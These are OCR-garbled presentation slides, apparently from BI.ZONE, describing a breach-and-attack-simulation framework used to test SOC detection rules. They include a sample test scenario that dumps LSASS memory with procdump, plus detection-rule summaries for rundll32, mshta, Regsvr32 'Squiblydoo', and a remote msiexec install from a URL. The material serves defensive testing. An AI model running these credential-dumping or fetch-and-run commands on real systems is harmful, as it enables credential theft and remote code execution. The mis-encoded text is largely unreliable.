» [lpoBepka CJI0XHbI€ CTEHADI = TecTupoBaHue
KOPPEKTHOCTY (C3W, ceTeBoe . curHatyp IDS/IPS.
paboTOCNOCOBHOCTH obopyAoBaHue, ‘
areHTOB Ha KOHEYHbIX MPUNOXKEHUS U T.N.);

TOYKax; = Hawu6onee npocToii.
= nepexoﬂ Ha HOBbIN . CI'IOpO6 '{eCTMpOBaHMﬂ.

areHT/HoBbI SIEM;
= JleMOHcTpaumu.
3aKasumkam.



DMYNALUMNA aKTUBHOCTMW
Ha UCTOYHMKAX COObITUN

BI.ZONE BAS (Breach & Attack Simulation) - dpeiiMBopk Aans
co3flaHuA, arperauum W 3anycka CcLUeHapueB 3aMynsuun OencTBUi
aTakyloLWMmx, WUCMoNb3yeMblil AN TeCTUPOBaHUS AeTEKTUPYHOLLMX
npaBun 1 oLeHKN 3 HEKTUBHOCTU paboTbl KOMaH MOHUTOPUHIA

OCHOBHbIe QYHKLUMU:

* WcnonHeHne nokasnbHbIX KOMaHﬂ,/CKpVII'ITOB ana smMynaunn
AdKTUBHOCT

«  OMmynsauua Bsaumopgencteus c C&C (http, dns, smtp, webdav, tcp, ftp)
« OMynauua ceTeBblx aTak (lateral movement, exploits)

« bonblLOe KONMYECTBO TECTOBbIX CIMMJIOB (AOKYMEHTbI C
MaKpocamu, UcnosiHsieMble dhainbl/6ubanoTekn, CKpUNThbl 1 T.M1.)

« BO3MOXHOCTb cOo31aBaTb COCTaBHble CLUEeHapun TeCTUpoBaHUS],
cocTodwmne n3 COBOKYNMHOCTU OTAEJIbHbIX aTOMaApPHbIX TECTOB

« OG6paTHasi COBMeCTUMOCTb € TecTami Atomic Red Team

« . KpoccnnaTtdoOpMeEHHOCTb —r ¢ - .

» -

ac]
ad

7>F BI.ZONE




[pnmep Bl.ZONE BAS-TecTa 7X»r BI.ZONE

id: SCENARIO_00035
display_name: Isass memory dump
related_rules:

gradar:

-INC_00035_ENDP_WIN_CREDACC_suspicious_lsass_memory_access
threat_hunting;
- possible_Isass_memory_dump

public: False
groups:

- prod

- windows
tactics:

- Credential Access
techniques:

-T1003
atomic_tests:

- name: Dump Isass process memory over sysinternals kit utility procdump64.exe

description: After a user logs on to a system, a variety of credentials are generated and stored in the LSASS process in memory. These
credentials can be harvested by a administrative user or SYSTEM. As well as in-memory technlques the LSASS process memory can be
dumped from the target host and analyzed on a local system. :
supported_platforms:

- windows - . S ‘ ' ’ '
executor: - : : ; . —— 4 : - ' : . . “
name: command_prompt - . e ’ 4

command:’ procdump64 exe, accepteula -ma Isass.exe Isass dmp ’ ¢ \



MHPOpMMPOBaHME 3aKA34YMKOB O
a3pabaTbiBaeMbIX NpaBuIax

/>F BI.ZONE

UseCases 23.09.19-07.10.19

UseCases 07.10.19-21.10.19
12019, 17:19 | ) L | N

UseCases 07.10.19-21.10.19

INC_0019000_common:Execute_Inline_Script_Using_RundlI32_Windows
UseCases 05.11.19-18.11.19

MpaBsuno BbisBNSET UCTONb30BaHUe YTUAUTLI Rundl32 ans BbinonHeHus ckpunTa (js/vbs), nepefaHHoOro 8 KayecTse napameTpa
KOMaHAHOI CTPOKN

T1085: Rundll32

INC_0018900_common:Using_Mshta_to_run_hta_from_URL_Windows

ﬂpaanno BbIABNSAET UCMONb30BaHUe YTUIUTbI mshta.exe ANsA BbINONHEHUA HTA CKpwunTa no ccbinke.
T1170: Mshta, T1105: Remote File Copy, T1071: Standard Application Layer Protocol

INC_0018700_ 2 _Script_via_Regsvr32_Windows

MpaBuno BbIABASET UCMO/b30BaHUE YTUNUTLI Regsvr32.exe ans sanycka ckpunnetos no cebinke (hitp, ftp). 3ToT BapuaHT TeXHUKM
YacTo HasblBaloT atakom "Squblydoo”.

T1117: Regsvr32, T1105: Remote File Copy, T1071: Standard Application Layer Protocol
INC_0003000_common:Using_MSIEXEC_to_Install_Package_from_URL_Windows

Mpasuno npeaHasHavyeHo ANA BbIABNEHUA MOMNbITOK UCMNONb30BAHNA CTAHAAPTHON YTUANTLI Msiexec Ans 3anycka msi-daina,
3arpy)xaemoro us cetu MIHTepHeT No ccblfike, NepeaanHHoil B kayecTse apryMeHTa KoMaHgHoM CTpokM (msiexec.exe /q /i
http://site.com/file.msi). [laHHas TeXHNWKa 3a4aCTYIO UCMO/b3YeTCA BPEJOHOCHBLIM NPOrpaMMHbIM 06ecreYeHnemM AN 3arpysku u

3anyckKa CBOMX KOMMNOHEHTOB U3 CETU MHTEpPHET.

T1218: Signed Binary Proxy Execution, T1105: Remote File Copy, T1071: Standard Application Layer Protocol

INC_0002600_t Regsvr32_Squiblydoo_Attack_Windows

MpaBuno BbIABASET UCMO/b30BaHUE YTUNUTLI Regsvr32.exe, Takxe MOXHO UCMONb30BaTL A5 06xoaa 6eNblx CUCKOB NPOLEcCcos,
ucnonbays beHKLU/IIA 3arpysku COM-cueHapwea ANs 3anycka Koda nog nonbsoBarenem. 3toT BapuaHT TeXHUKW 4acTo HasbIBaKOT
arakoit "Squblydoo".

T1117: Regsvr32
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